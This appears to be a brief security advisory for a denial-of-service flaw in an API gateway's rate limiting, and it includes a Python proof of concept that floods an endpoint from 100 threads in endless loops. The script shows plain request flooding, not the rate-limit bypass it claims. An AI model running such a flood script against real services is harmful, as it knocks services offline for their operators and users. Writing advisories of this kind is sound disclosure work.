Medium Severity
Published: Apr 2, 2024
A denial of service vulnerability exists in the API rate limiting implementation. Attackers can bypass rate limits and cause service unavailability through resource exhaustion.
API Gateway v1.0-1.8, Linux/Windows
import requests
import threading
def flood_api():
while True:
requests.get("https://api.example.com/endpoint")
# Launch multiple threads
for i in range(100):
threading.Thread(target=flood_api).start()